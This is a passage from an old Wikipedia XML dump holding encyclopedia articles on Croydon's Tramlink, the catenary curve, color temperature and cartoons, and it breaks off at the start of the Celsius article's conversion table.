'''Tramlink''' (until recently known as '''Croydon Tramlink''') is a [[public transport]] [[tram]]way in [[south London]], operated by [[First Group|FirstGroup]] on behalf of [[Transport for London]]. Tramlink meets [[National Rail]] lines at a number of stations, but because it runs in an area relatively under-served by the [[London Underground]] (one of the reasons for its creation), its only interchange with the Underground is at [[Wimbledon station|Wimbledon]]. The system, centred on [[Croydon]], began operation in [[May 2000]].

==Trams==
[[Image:Croydon tramlink.PNG|thumb|left|550px|diagram of a tramlink flexity swift tram]]
Tramlink is operated with articulated [[low floor|low-floor]] [[Flexity Swift|Flexity Swift CR-4000]] [[tram]]s built by [[Bombardier Transportation]] in [[Vienna]]. The fleet is currently 24 strong, with one more planned. The trams are based on the very similar class K-4000 built for use on [[Cologne|Köln's]] low-platform routes.

The CR-4000 trams are six-axle single-articulated double-ended cars with four doors on each side. The low floor stretches between both the outer doors through the articulation (which rests on an unpowered [[bogie]]/truck). Between the outer door and each car end is a higher-floor section, accessed up a step and situated over the car's two power bogies. The low-floor section is 400 [[millimetre|mm]] above rail-level, sloping down to 350 mm in the doorways, a height which matches the platforms at tram stops, and each car has two [[wheelchair]] positions.

Each car is 30.1 [[metre|m]] long and 2.65 m wide and has 70 seats and a total capacity of just over 200 passengers. They operate from an overhead power supply at 750 [[volts]] [[direct current|DC]], and have a maximum speed of 80 km/h (50 mph). Each tram has an integral traction braking controller with [[dead-man's control|deadman's trigger]].

The trams are numbered beginning at 2530, continuing from the highest-numbered trams from London's old network.

The opening of the contrale tram stop adds time to the timetable therefore needs and extra tram. Currantly tramlink uses one out of the four spare trams but tfl say they will need to purchase an extra tram to substain punctuality

==Routes==
[[Image:TramlinkMap.svg|center|A map of the Tramlink network.]]
Tramlink is not shown on a standard [[tube map]] but is shown on the &quot;London connections&quot; map.
Tramlink consists of a varied mixture of street track shared with other vehicles, dedicated track within the street, and off-street track. The off-street track includes new rights-of-way, former railway lines, and one section which shares right-of-way (though not tracks) with an operational [[third rail|third-rail]] electrified [[Network Rail]] line.

All stops on Tramlink consist of low platforms at a height of 350mm above rail level, a height which matches the floor level of the car doors. Stops are unmanned and provided with automated ticket machines for ticket sales. In general, access between the platforms involves crossing the tracks by pedestrian level crossing.

The following routes are described in detail from east to west.

===Route 1 (yellow)===
[[Image:Croydon tram.jpg|thumb|250px|A tram en route to [[Elmers End]] on Tramlink route 1.]]
* ''Terminus:'' [[Elmers End station|Elmers End]]
* [[Arena tram station|Arena]]
* [[Woodside station|Woodside]]
* [[Blackhorse Lane tram station|Blackhorse Lane]]
* [[Addiscombe tram station|Addiscombe]]
* [[Sandilands tram station|Sandilands]]
* [[Lebanon Road tram station|Lebanon Road]]
* [[East Croydon station|East Croydon]]
* [[George Street tram station|George Street]]
* [[Church Street tram station|Church Street]]
* [[Wandle Park tram station|Wandle Park]]
* [[Waddon Marsh tram station|Waddon Marsh]] for Purley Way retail parks
* [[Ampere Way tram station|Ampere Way]] for [[IKEA]] and Valley Park
* [[Therapia Lane tram station|Therapia Lane]]
* [[Beddington Lane tram station|Beddington Lane]]
* [[Mitcham Junction station|Mitcham Junction]]
* [[Mitcham station|Mitcham]]
* Belgrave Walk
* Phipps Bridge
* Morden Road
* Merton Park
* [[Dundonald Road tram station|Dundonald Road]]
* ''Terminus:'' [[Wimbledon station|Wimbledon]]
''Then back to Wandle Park''
* [[Reeves Corner tram station|Reeves Corner]]
* [[Centrale]]
* [[West Croydon station|West Croydon]]
* [[Wellesley Road tram station|Wellesley Road]]
''Then to East Croydon and back to Elmers End''

===Route 2 (red)===
[[Image:Tramlink-Beckenham Jn.jpg|thumb|250px|A tram at the Beckenham Junction terminus]]
* ''Terminus:'' [[Beckenham Junction tram station|Beckenham Junction]] ''(train &amp; bus interchange)''
* Beckenham Road ''(bus interchange)''
* Avenue Road
* [[Birkbeck station|Birkbeck]]
* Harrington Road
* [[Arena tram station|Arena]]
* [[Woodside station|Woodside]]
* Blackhorse Lane
* Addiscombe 
* Sandilands
* Lebanon Road
* [[East Croydon station|East Croydon]]
* George Street
* Church Street
* [[Centrale]]
* [[West Croydon station|West Croydon]]
* Wellesley Road
''Then to East Croydon and back to Beckenham Junction''

On Sundays, route 2 services are extended to [[Wimbledon station|Wimbledon]] via route 1 to give shorter headways on the Wimbledon line.

===Route 3 (green)===
[[Image:Tramlink East Croydon.jpg|thumb|250px|A tram outside East Croydon station]]
* ''Terminus:'' New Addington
* King Henry's Drive
* Field Way
* Addington Village
* Gravel Hill for [[Addington Palace]]
* Coombe Lane
* Lloyd Park
* Sandilands
* Lebanon Road
* [[East Croydon station|East Croydon]]
* George Street
* Church Street
* [[Centrale]]
* [[West Croydon station|West Croydon]]
* Wellesley Road
''Then to East Croydon and back to New Addington''

===Former lines re-used===
From Elmers End to Woodside, Tramlink Routes 1 and 2 follow the former [[British Rail]] branch line from Elmers End towards a now-demolished Addiscombe station (500 metres from the present tram station of the same name). At Woodside, the old station buildings are still visible but disused, and the original platforms have been demolished to make way for accessible low platforms, in common with the rest of the system (except Elmers End, and Wimbledon, which continue to use their old respective branch line platforms). From Woodside to Sandilands (Routes 1 &amp; 2) and from Sandilands almost to Lloyd Park (Route 3), Tramlink follows the route of the former [[Woodside and South Croydon Railway]]. This includes the Park Hill (or Sandilands) tunnels. Route 2 also runs parallel to the Crystal Palace to Beckenham loop line of the [[Southern_%28train_operating_company%29|Southern]] network between [[Birkbeck]] and [[Beckenham Junction]], the [[National Rail]] tracks having been singled.

From near Phipps Bridge to near Reeves Corner, the route follows that of the [[Surrey Iron Railway]]. This gives Tramlink a claim to be, in a sense, one of the world's oldest tramways! {{mmukpc prim|TQ273680|Tramway Path}} beside Mitcham tram stop had its name long before Tramlink. A partial obstruction of the route near this point has necessitated the use of [[:Image:028140 tramlink mitcham.jpg|gauntlet track]].

A Victorian footbridge beside Waddon New Road had to be demolished to make way for [http://www.transport-of-delight.com/Tramlink/Pages/TramsinAction/Flyover-1.htm the flyover] which takes Tramlink over the [[West Croydon railway station|West Croydon]] to [[Sutton railway station|Sutton]] railway line. The footbridge has been re-erected at [[Corfe Castle]] on the [[Swanage Railway]].

==Projected extensions==
*from Harrington Road and Birkbeck
**[[Crystal Palace, London|Crystal Palace]]
*from Church Street and Wellesey Road
**[[South Croydon]]
**[[Purley, London|Purley]]
*from Reeves Corner and West Croydon
**[[Thornton Heath Pond]]
**[[Norbury, London|Norbury]]
**[[Streatham]] ''(connection with Thameslink)''
*from Wimbledon ''(follows Thameslink to Sutton)''
**Wimbledon Chase
**South Merton
**[[Morden]] South
**[[St Helier, Sutton|St Helier]]
**Sutton Common
**West Sutton
**[[Sutton, London|Sutton]]
**Mitcham ''(intersection with current stop)''
**[[Tooting]] ''(connection with Thameslink)''
**[[Tooting Broadway]]  ''(connection with [[Northern Line]])''

==External links==
{{commonscat|Tramlink}}
*[http://www.tfl.gov.uk/trams/ Transport for London Website on Tramlink]
*[http://www.croydon-tramlink.co.uk/ Croydon Tramlink - The Unofficial Website]
*[http://bbs.keyhole.com/ubb/showthreaded.php/Cat/0/Number/96463 Collection of Google Earth locations of Tramlink stops] (Requires [http://earth.google.com Google Earth software]) from the Google Earth Community forum.
*[http://www.freewebs.com/tramfans a croydon trams fan site]


{{Britishmetros}}

[[Category:Croydon]]
[[Category:Electric railways]]
[[Category:Light rail]]
[[Category:Trams in London]]
[[Category:Tram transport in the United Kingdom]]
[[cs:Londýnská tramvajová doprava]]
[[de:Tramlink]]
[[nl:Tramlink]]</text>
    </revision>
  </page>
  <page>
    <title>Catenary</title>
    <id>7163</id>
    <revision>
      <id>41394604</id>
      <timestamp>2006-02-27T01:14:28Z</timestamp>
      <contributor>
        <username>JackofOz</username>
        <id>33566</id>
      </contributor>
      <comment>the Thomas Jefferson connection</comment>
      <text xml:space="preserve">In [[mathematics]], the '''catenary '''is the [[shape]] of a hanging flexible [[chain]] or [[cable]] when supported at its ends and acted upon by a uniform gravitational force (its own weight). The slope of the chain is largest near the points of  suspension because this part of the chain has the most weight pulling down on it. Toward the bottom, the [[slope]] of the chain decreases because the chain is supporting less weight.  

[[Image:catenary-pm.png|thumb|400px|right|Catenaries for different values of the parameter]]

The word catenary is derived from the Latin word for &quot;chain.&quot; The curve is also called the alysoid, funicular, and chainette.  [[Galileo Galilei|Galileo]] claimed that the curve of a chain hanging under gravity would be a [[parabola]], but this was disproved by [[Joachim Jungius|Jungius]] in a work published in 1669.  In [[1691]], [[Leibniz]], [[Christiaan Huygens]], and [[Johann Bernoulli]] derived the [[equation]] in response to a challenge by [[Jakob Bernoulli]]. Huygens first used the term 'catenaria' in a letter to Leibniz in 1690, and [[David Gregory]] wrote a treatise on the catenary in 1690.  However [[Thomas Jefferson]] is usually credited with the English word 'catenary' [http://www.pballew.net/arithme8.html].

If you roll a parabola along a straight line, its [[focus]] traces out a catenary (see [[roulette (curve)|roulette]]). As proved by [[Euler]]  in 1744, the catenary is also the curve which, when rotated about the x axis, gives the surface of minimum [[surface area]] (the [[catenoid]]) for the given bounding [[circle]]. [[square (geometry)|Square]] wheels can roll perfectly smoothly if the road has evenly spaced bumps in the shape of a series of inverted catenary curves.  The wheels can be any regular polygon, but one must use the correct catenary, corresponding correctly to the shape and dimensions of the wheels.

The intrinsic equation of the shape of the catenary is given by the [[hyperbolic function]] and exponential equivalent
 
:&lt;math&gt;y = a \cdot \cosh \left ({x \over a} \right ) = {a \over 2} \cdot \left (e^{x/a} + e^{-x/a} \right ).&lt;/math&gt;

==Suspension bridges==
[[image:GoldenGateBridge.jpg|thumb|right|150px|[[Golden Gate Bridge]], California, USA. Suspension bridges follow a parabolic, not catenary, curve]]
While free-hanging chains follow the curve of the hyperbolic function above, oddly enough [[suspension bridge]] chains or cables, which are tied to the bridge deck at uniform intervals, follow a parabolic curve, much as Galileo originally claimed ([http://whistleralley.com/hanging/hanging.htm derivation]).

It is interesting to note that when suspension bridges are constructed, the suspension cables initially sag hyperbolically, before being tied to the deck below, and then gradually assume a parabolic curve as additional connecting cables are tied to connect the main suspension cables with the bridge deck below.

==The inverted catenary arch==
[[Image:gateway_arch.jpg|right|thumb|210px|The [[Jefferson National Expansion Memorial|Gateway Arch]] in [[Saint Louis, Missouri|St. Louis]], an inverted catenary (almost)]]
The catenary is the ideal form for an arch which supports only itself. If made of individual elements whose contacting surfaces are [[perpendicular]] to the curve of the arch, no significant shear forces will be present at the joints, and the thrust into the ground will be directly along the line of the arch.

The [[Jefferson_National_Expansion_Memorial|Gateway Arch]] in [[Saint Louis, Missouri|Saint Louis]], [[Missouri]], [[United States]] follows the form of an inverted catenary. It is 630 feet wide at the base and 630 feet tall. The exact formula 

:&lt;math&gt;y = -127.7 \cdot \cosh({x / 127.7}) + 757.7&lt;/math&gt;

is displayed inside the arch.

In [[structural engineering]] a '''catenary shell''' is a structural form, usually made of [[concrete]], that follows a catenary curve. The profile for the shell is obtained by using flexible material subjected to [[gravity]], converting it into a rigid [[formwork]] for pouring the concrete and then using it as required, usually in an inverted manner. 

A [[kiln]], a kind of oven for firing [[pottery]], may be made from firebricks with a body in the shape of a catenary arch, usually nearly as wide as it is high, with the ends closed off with a permanent wall in the back and a temporary wall in the front. The bricks (mortared with fireclay) are stacked upon a temporary form in the shape of an inverted catenary, which is removed upon completion. The form is designed with a simple length of light chain, whose shape is traced onto an end panel of the form, which is inverted for assembly. A particular advantage of this shape is that it does not tend to dismantle itself over repeated heating and cooling cycles &amp;mdash; most other forms such as the vertical [[cylinder (geometry)|cylinder]] must be held together with steel bands.

[[Image:LaPedreraParabola.jpg|thumb|150px|Catenaric [[arch]]es in Gaudí's [[Casa Milá]].]]
The [[Catalunya|Catalan]] [[architect]] [[Antoni Gaudí]] made extensive use of catenary shapes in his cathedral [[Sagrada Familia]].  In order to solve for the ideal vault lines he built inverted scale models of the numerous domes by using threads under tension to represent stones under compression.

==Other uses of the term==
*In railway [[engineering]], a '''catenary structure''' consists of [[overhead lines]] used to deliver electricity to a [[railway]] [[locomotive]], [[multiple unit]], [[railcar]], [[tram]] or [[trolleybus]] through a [[pantograph (rail)|pantograph]] or a [[trolleypole]]. These structures consist of an upper structural wire in the form of a shallow catenary, short suspender wires, which may or may not contain insulators, and a lower conductive contact wire. By adjusting the tension in various elements the conductive wire is kept parallel to the centerline of the track, reducing the tendency of the pantograph or trolley to bounce or sway, which could cause a disengagement at high speed.

*In semi-rigid [[airship]]s, a '''catenary curtain''' is a fabric and cable internal structure used to distribute the weight of the [[gondola]] across a large area of the ship's [[envelope]].

*In conveyor systems, the '''catenary''' is the portion of the belt underneath the conveyor that is traveling back to the top.  It is the weight of the catenary that keeps tension in the belt.

==External links==
*[http://whistleralley.com/hanging/hanging.htm Hanging With Galileo] - mathematical derivation of formula for suspended and free-hanging chains; interactive graphical demo of parabolic vs. hyperbolic suspensions.
*[http://web.njit.edu/~jcl7/pastimes/catenary/index.html Catenary Demonstration Experiment] - An easy way to demonstrate the Mathematical properties of a cosh using the hanging cable effect. Devised by Jonathan Lansey


[[Category:Curves]]
[[Category:Exponentials]]

[[de:Katenoide]]
[[es:Catenaria]]
[[fr:Chaînette]]
[[pt:Catenária]]
[[sv:Kedjekurva]]
[[zh:&amp;#24748;&amp;#38142;&amp;#32447;]]</text>
    </revision>
  </page>
  <page>
    <title>Color temperature</title>
    <id>7164</id>
    <revision>
      <id>40672425</id>
      <timestamp>2006-02-22T05:03:37Z</timestamp>
      <contributor>
        <ip>69.209.219.185</ip>
      </contributor>
      <comment>/* Categorizing different lighting */</comment>
      <text xml:space="preserve">&quot;White light&quot; is commonly described by its '''color temperature'''. A traditional [[incandescent]] light source's color temperature is determined by comparing its hue with a theoretical, heated [[black body|black-body radiator]]. The lamp's color temperature is the temperature in [[kelvin]]s at which the heated black-body radiator matches the hue of the lamp.

== Categorizing different lighting ==
Because it is the standard against which other light sources are compared, the color temperature of a black-body radiator is equal to its surface temperature in kelvins, using the temperature scale named after the 19th-century British physicist [[William Thomson, 1st Baron Kelvin]].  (Note: it should not be construed that the ''color'' temperature refers to the [[Heat|''thermal'']] temperature of anything other than the black-body radiator.)
An [[Incandescent light bulb|incandescent light]] is very close to being a black-body radiator. 
However, many other light sources, such as [[Fluorescent lamp|fluorescent lamps]], do not emit radiation in the form of a black-body curve, and are assigned what is known as a [[Color temperature#Correlated color temperature|correlated color temperature]] (CCT), which is the color temperature of a black body which most closely matches the lamp's light emission curve. Because such an approximation is not required for incandescent light, the CCT for an incandescent light is simply its unadjusted kelvin value derived from the comparison to a heated black-body radiator.

As the [[sun]] crosses the sky, it may appear to be red, orange, yellow, white, or blue, depending on position. The changing colors of the sun and sky as the day passes also match colors produced by a black-body radiator at certain temperatures in kelvins. [[Image:Color temp2.png|center|Increasing hues of the Planckian locus]]

[Note this diagram is only a symbolic-representation; the colors shown have not been calculated with any colorimetric accuracy.
[http://www.techmind.org/colour/coltemp.html Here's a colorimetrically accurate diagram.] ]

Some common examples:
* 1200 K: a candle
* 2800 K: tungsten lamp (ordinary household bulb), sunrise and sunset
* 3000 K: studio lamps, photofloods,
* 5000 K: electronic flash, average daylight. A designation of D50 stands for &quot;Daylight 5000K&quot; and is the most common standard for professional light booths for [[photography]], [[graphic art]]s, and other purposes.
* 6000 K: bright midday sun
* 7000 K: lightly overcast sky
* 8000 K: hazy sky
* 10,000 K: heavily overcast sky

From these observations, it becomes clear that blue is the &quot;hotter&quot; color, while red is actually the &quot;cooler&quot; color. This is the exact opposite of the associations both colors have taken on, with &quot;red&quot; as &quot;hot&quot;, and &quot;blue&quot; as &quot;cold&quot;. The traditional associations come from a variety of sources, such as the fact that water and ice reflect the color of daylight, making them appear blue, and [[frostbite| frostbitten]] flesh often appears blue. Plus, as is well known, metals heated begin to glow red, and [[fire]] is reddish. But the redness of these heat sources comes from precisely the fact that red is the ''coolest'' of the visible colors: the first color emitted as heat increases. A proof of this is that while incandescent bulbs glow a reddish to yellowish color throughout their lifetimes; when one blows out, the flash of light is noticebly bluish! The filament is hotter when it burns out (as evidenced by the scorch mark often left on the glass)!

&quot;Color temperature&quot; is sometimes used loosely to mean &quot;white balance&quot; or &quot;[[white point]]&quot;. Notice that color temperature has only one [[degrees of freedom|degree of freedom]], whereas white balance has two (R-Y and B-Y).

In [[photography]], an alternative numerical measure used is the [[mired]]. Color temperatures and mireds are convertible to each other via a simple formula (see the [[mired]] page for details of the computations, and the reasons for the use of the alternative unit).

== Color temperature applications ==

=== Film photography ===

Film sometimes exaggerates the color of the light. An object that appears to the naked eye to be under white light may turn out looking very blue or orange in a photograph. The [[color balance]] may need to be corrected while shooting to achieve a neutral color print.

Film is made for specific light sources (most commonly daylight film and [[tungsten film]]), and used properly, will create a neutral color print. Matching the [[color sensitivity]] of the film to the color temperature of the light source is one way to balance color. If tungsten film is used while photographing indoors with [[incandescent]] lamps, the yellowish-orange light of the [[tungsten]] [incandescent] bulbs will appear as white (5500k) in the photograph.
 
[[Filters]] on a camera lens, or [[color gel]]s over the light source(s) may also be used to correct color balance. When shooting with a bluish light (high temperature) source such as an overcast day, in the shade, in window light or if using tungsten film with white or blue light, a yellowish-orange filter will correct this. For shooting with daylight film under warmer (low temperature) light sources such as sunsets, candle light or tungsten lighting, a bluish (e.g. #80A) filter may be used. 

Fluorescent light varies in color and may be harder to correct for. Because it is often greenish, a reddish filter might correct it, though this could take some trial and error. 

If there is more than one light source with varied color temperatures, gels (placed over each light source) in conjuction with daylight film is the best way to balance the color.

=== Desktop publishing ===
In the desktop publishing industry, it is important to know your monitor’s color temperature. Color matching software, such as [[ColorSync]] will measure your monitor's color temperature and then adjust your monitor’s settings accordingly. This enables on-screen color to more closely match printed color. Common monitor color temperatures are as follows:

5000K (D50), 5500K (D55), 6500K (D65), 7500K (D75) and 9300K.

Designations such as D50 are used to classify color temperatures of light tables and viewing booths. When viewing a color slide at a light table, it is important that the light be balanced properly so the colors are not shifted towards the red or blue.

General computer-users should set their PC monitor color-temperature to &quot;sRGB&quot; or &quot;6500K&quot;, as this is what digital cameras, web graphics, and DVDs etc are normally designed for. Indeed the sRGB standard stipulates (among other things) a 6500K display whitepoint.

=== TV, video, and digital still cameras ===
The [[NTSC]] and [[PAL]] TV norms call for a compliant TV screen to display an electrically &quot;black-and-white&quot; signal (minimal color saturation) at a color temperature of 6500K. On many actual sets however, especially older and/or cheaper ones, there is a very noticeable deviation from this requirement of the standard.

Most video and digital still cameras can adjust for color temperature by zooming into a white object and setting the white balance (telling the camera &quot;this object is white&quot;); the camera then shows true white as white and adjusts all the other colors accordingly. White-balancing is necessary especially indoors under fluorescent lighting and when moving the camera from one lighting situation to another. The setting called &quot;Auto white balance&quot; is not recommended for optimum quality video or stills.

=== Artistic application via control of color temperature ===
[[image:Example_different_color_temp.jpg|right|thumb|180px|The house above appears a light cream during the midday, but seems a bluish white here in the dim light before full sunrise.  Note the different color temperature of the sunrise in the background.]]

Experimentation with color temperature is obvious in many [[Stanley Kubrick]] films; for instance in ''[[Eyes Wide Shut]]'' the light coming in from a window was almost always conspicuously blue, whereas the light from lamps on end tables was fairly orange. Indoor lights typically give off a yellow hue; fluorescent and natural lighting tends to be more blue.

Video [[camera operator]]s can also white-balance objects which aren't white, downplaying the color of the object used for white-balancing. For instance, they can bring more warmth into a picture by white-balancing off something light blue, such as faded blue denim; in this way white-balancing can serve in place of a filter or lighting gel when those aren't available. 

[[Cinematographer]]s do not &quot;white balance&quot; in the same way as video camera operators: they can use techniques such as filters, choice of film stock, [[pre-flashing]], and after shooting, [[color grading]] (both by exposure at the labs, and also digitally, where [[digital film]] processes are used).  Cinematographers also work closely with set designers and lighting crews to achieve their desired effects.

== Correlated color temperature ==

[[image:PlanckianLocus.png|right|thumb|300px|CIE (1931) xy chromaticity diagram including the Planckian locus, with temperatures indicated. Wavelengths of monochromatic light are shown in blue. The lines crossing the Planckian locus are lines of constant correlated color temperature.]]

The Kelvin system for lamp description works well for an incandescent light bulb. Since these lamps are very nearly black body radiators, their chromaticity coordinates land directly on the [[Planckian locus]] in the [[CIE_1931_color_space|CIExy color space]]. [[Fluorescent lamp|Fluorescent]] lighting is not incandescent and presents a new challenge. Fluorescent lamps are made using myriad combinations of [[phosphor]]s and gases. The illumination that they produce is almost never described by a point in color space which lies on the Planckian locus.

The question then becomes how to describe the quality of light from a fluorescent lamp. The method used is called the &quot;correlated color temperature&quot;, which a method for assigning a color temperature to a color near, but not on, the Planckian locus. The above plot shows lines crossing the Planckian locus for which the correlated color temperature is the same. Nevertheless, the colors are not the same, and the method gives only an approximate specification of a particular color. Due to this shortcoming, the rated CCT of any fluorescent tube does not completely specify its color.

To be more precise: A number of color spaces have been developed in which the difference between two colors may be estimated by the distance between them on a chromaticity diagram. These include the 1960 CIELuv (which is now outdated) and the 1976 CIELu'v' and CIELab spaces. On a chromaticity diagram for which distances specify color distances, the best estimate of the color temperature of any point will be the color temperature of the point on the Planckian locus closest to that point. Although it is outdated, the CIE specifies distances in the 1960 CIELuv chromaticity space to define correlated color temperature.

Photographers often use color temperature meters. Color temperature meters by design read only two regions along the visible spectrum (red &amp; blue) or some expensive ones read three regions (Red, Green &amp; Blue). They are almost useless under fluorescent light. There are general guidelines and some specific filters recommended to obtain optimum quality under such frustrating circumstances.

== Color rendering index ==
''Main article: [[Color rendering index]]''

The [[International Commission on Illumination|CIE]] developed a newer model for describing and rating light sources, called the color rendering index, which is a mathematical formula describing how well a light source's illumination of eight sample patches compares to the illumination provided by a reference source. The index provides a number up to 100 for ideal light.

== Spectral power distribution plot ==
The [[spectral power distribution]]s provided by many manufacturers may have been produced using 10 [[nanometre]] increments or more on their [[spectroradiometer]]. The result is what would seem to be a smoother (fuller spectrum) power distribution than the lamp actually has. 2nm increments are mandatory for taking measurements of fluorescent lights. Here is an example of just how different an incandescent lamp's SPD graphs compared to a fluorescent lamp:

[[Image:SPD.png|center|]]

== Recommendations for those without the expensive equipment ==
Only those with expensive [[spectrophotometer]]s and [[spectroradiometer]]s can obtain accurate data. Those without these tools should take the time to review the lamp's specifications, and if they seem good, then the eyes are one's best tool.

New mathematical indices are being proposed which look hopeful. There are at least 3 new ways to categorize lamps more accurately. They are not  in use as of yet, but they look promising. One is referred to as the [[color rendering capacity]] (CRC).

==References==

# {{cite book | last = Berns | first = Roy S. | year = 2000 | title = Billmeyer and Saltzman's Principles of Color Technology | edition = 3rd edition | publisher = Wiley | location = New York | id = ISBN 0-471-19459-X}}
# {{cite book | author = Stroebel, Leslie; John Compton; Ira Current; Richard Zakia | title = Basic Photographic Materials and Processes | edition = 2nd edition | publisher = Focal Press | location = Boston | year = 2000 | id = ISBN 0-240-80405-8}}
# {{cite book | author = Wyszecki, Günther; W. S. Stiles | year = 1982 | title = Colour Science Concept and Methods, Quantitative Data and Formulae | publisher= Wiley | location =  New York | id = ISBN 0-471-02106-7}}

==External links==
* Charles Poynton's [http://www.poynton.com/ColorFAQ.html Color FAQ] for the basics.
* [http://www.colourware.co.uk/cpfaq.htm Frequently asked questions about Color Physics] - also includes history of the CIE color specification
* [http://www.vendian.org/mncharity/dir3/blackbody/ What color is a blackbody?] - Colorimetrically-calculated blackbody RGB color values and comment
* [http://www.techmind.org/colour/coltemp.html Color-temperature: visualising blackbody radiation] - Blackbody curves for typical lightsources, and colorimetrically-calculated blackbody color strip
* [http://www.nolico.com/saveenergy/color_temperature_and_cri.htm Color Temperature &amp; (CRI)] - Discussion of: Color Temperature (Kelvins) and Color Rendition Index (CRI)


===Film- and video-related===
* [http://www.nikondigital.org/articles/white_balance.htm White Balance] - Intro at nikondigital.org
* [http://www.photoxels.com/tutorial_white-balance.html Understanding White Balance] - Tutorial
* [http://www.cambridgeincolour.com/tutorials/white-balance.htm White Balance] - Understanding its use in digital photography


[[Category:Color]]

[[cs:Barevná teplota]]
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[[sv:Vitbalans]]</text>
    </revision>
  </page>
  <page>
    <title>Cartoon</title>
    <id>7165</id>
    <revision>
      <id>40643638</id>
      <timestamp>2006-02-22T00:47:53Z</timestamp>
      <contributor>
        <username>Sampi</username>
        <id>568832</id>
      </contributor>
      <comment>Revert to revision 39816671 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">A '''cartoon''' is any of several forms of art, with varied meanings that evolved from one to another.

==Historical==
[[Image:Leonardo - St. Anne cartoon.jpg|thumb|200px|right|''[[The Virgin and Child with St. Anne and St. John the Baptist]]'', a cartoon by Leonardo da Vinci]]
In its original historical meaning, a cartoon (from the [[Italian language|Italian]] ''cartone'', meaning &quot;big paper&quot;) is a full-size [[drawing]] made on [[paper]] as a study for a further artwork, such as a [[painting]] or [[tapestry]]. Cartoons were typically used in the production of [[fresco]]es, to accurately link the component parts of the composition when painted onto [[plaster]] over a series of days. Such cartoons often have pinpricks where the outline of the design has been picked out in the plaster. Cartoons by [[painter|painters]] such as [[Raphael]] and [[Leonardo da Vinci]] are highly prized in their own right.

==Print media==
[[Image:SubstanceandShadow.jpg|left|250px|thumb|The cartoon by [[John Leech]] that satirizes the preparatory cartoons for frescoes in the new Palace of Westminster (1843)]]

In modern print media, a cartoon is an illustration, usually humorous in intent.  This usage dates from 1843 when ''[[Punch magazine|Punch]]'' magazine applied the term to satirical drawings in its pages, particularly sketches by [[John Leech]]. The first of these parodied the preparatory cartoons for grand historical frescoes in the then-new [[Palace of Westminster]]. The original title for these drawings was ''Mr Punch's pencillings'' and the new title &quot;cartoon&quot; was intended to be ironic, a reference to the self-aggrandising posturing of Westminster politicians.

Modern [[gag cartoon]]s are found in magazines and newspapers and generally consist of a single drawing with a caption immediately beneath or (less often) a [[speech balloon]].  Many consider ''[[The New Yorker|New Yorker]]'' cartoonist [[Peter Arno]] the father of the modern gag cartoon (as did Arno himself).  Gag cartoonists of note include [[Charles Addams]], [[Gary Larson]], [[Charles Barsotti]], [[Chauncey (Chon) Day|Chon Day]] and [[Mel Calman]].

[[Editorial cartoons]] are a variation of this, found almost exclusively in news publications.  Although they also employ humor, they are more serious in tone, commonly using [[irony]] or [[satire]].  The art usually acts as a visual metaphor to illustrate a point of view on current social and/or political topics.  Editorial cartoons often include speech balloons and, sometimes, multiple panels.  Editorial cartoonists of note include [[Herblock]] and [[Mike Peters]].

[[Comic strip]]s, also known as &quot;strip cartoons&quot; in the United Kingdom, are found daily in newspapers worldwide, and are usually a short series of cartoon illustrations in sequence.  In the [[United States]] they are not as commonly called &quot;cartoons&quot; themselves, but rather &quot;comics&quot; or &quot;funnies&quot;.  Nonetheless, the creators of comic strips - as well as [[comic book]]s and [[graphic novel]]s - are referred to as &quot;[[cartoonist]]s&quot;.  Although humor is the most prevalent subject matter, adventure and drama are also represented in this medium.  Noteworthy cartoonists in this sense include [[Charles Schulz]], [[Bill Watterson]], [[Scott Adams]], and [[Mort Walker]].

==Motion pictures==
[[Image:Cowboy_bebop01.jpg|thumb|300px|A scene from ''[[Cowboy Bebop]]'' (1998)]]
{{main|Animated cartoon}}

Because of the stylistic similarities between comic strips and early animated movies, &quot;cartoon&quot; came to refer to [[animation]], and this is the sense in which &quot;cartoon&quot; is most commonly used today.  These are usually shown on [[television]] or in [[movie theater|cinema]]s and are created by showing illustrated images in rapid succession to give the impression of movement.  In this meaning, the word cartoon is sometimes shortened to ''[[toon]]'' (which may be a corruption of &quot;[[Looney Tunes]]&quot; and was popularized by the movie ''[[Who Framed Roger Rabbit]]'').  Although the term can be applied to any animated presentation, it is most often used in reference to programs for children, featuring [[Anthropomorphism|anthropomorphized]] animals, [[superhero]]es, the adventures of child protagonists, and other related genres.  Animated material which does not fit the traditional conventions of Western animation, such as Japanese [[anime]] can also be called cartoons.

== See also ==
* [[Anime]] 
* [[Animation]]
* [[Animated cartoon]]
* [[Charlie Hebdo]]
* [[Censorship]]
* [[Comics]]
* [[Editorial cartoon]]
* [[Figure drawing]]
* [[List of cartoonists]]
* [[List of comic and cartoon character pairs|List of comic and cartoon pairs]]
* [[Manga]]
* [[Multi-Sketch]]

== External links ==
{{wiktionary}}

* [http://www.cartoonstock.com/ CartoonStock database of gag, editorial and historic cartoons]
* [http://www.punch.co.uk/ Punch website's history of cartoons]
* [http://www.cartoonbank.com ''New Yorker's'' Cartoon Bank]
* [http://www.cagle.com/ Daryl Cagle's Professional Cartoonists Index]
* [http://www.toonopedia.com Don Markenstein's Toonopedia]
* [http://www.bcdb.com/ Big Cartoon Database]
* [http://www.goldenagecartoons.com/ Golden Age of Cartoons]
* [http://www.toon-cycle.com/ Toon-Cycle: Cartoon community and media resources]
* [http://www.ulin.ru/ Russian animated cartoons and World Day of Animated cartoon]

[[Category:Art genres]]
[[Category:Cartooning| ]]
[[Category:Film]]

[[de:Cartoon]]
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[[nl:Cartoon]] 
[[pt:Cartoon]]
[[scn:Cartuni animatu]]
[[th:การ์ตูน]]
[[zh:卡通]]</text>
    </revision>
  </page>
  <page>
    <title>Celsius</title>
    <id>7166</id>
    <revision>
      <id>42050611</id>
      <timestamp>2006-03-03T13:29:40Z</timestamp>
      <contributor>
        <username>Rapido</username>
        <id>272421</id>
      </contributor>
      <minor />
      <comment>/* Application */ many people use Fahrenheit in cooking! I'm also not too sure on the thermostat bit, but I'm leaving it at the moment.</comment>
      <text xml:space="preserve">{{otheruses}}

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; align=&quot;right&quot; style=&quot;margin: 0 0 0.5em 1em;&quot;
|+'''Celsius temperature conversion formulas'''
|- bgcolor=&quot;#f0f0f0&quot;
! Conversion from
! to
! Formula
|-
|Celsius ||Fahrenheit ||&amp;deg;F = &amp;deg;C &amp;times; 1.8 + 32
|-
|[[Fahrenheit]] ||Celsius ||&amp;deg;C = (&amp;deg;F &amp;ndash; 32) / 1.8
|-
|Celsius ||kelvin ||K = &amp;deg;C + 273.15
|-
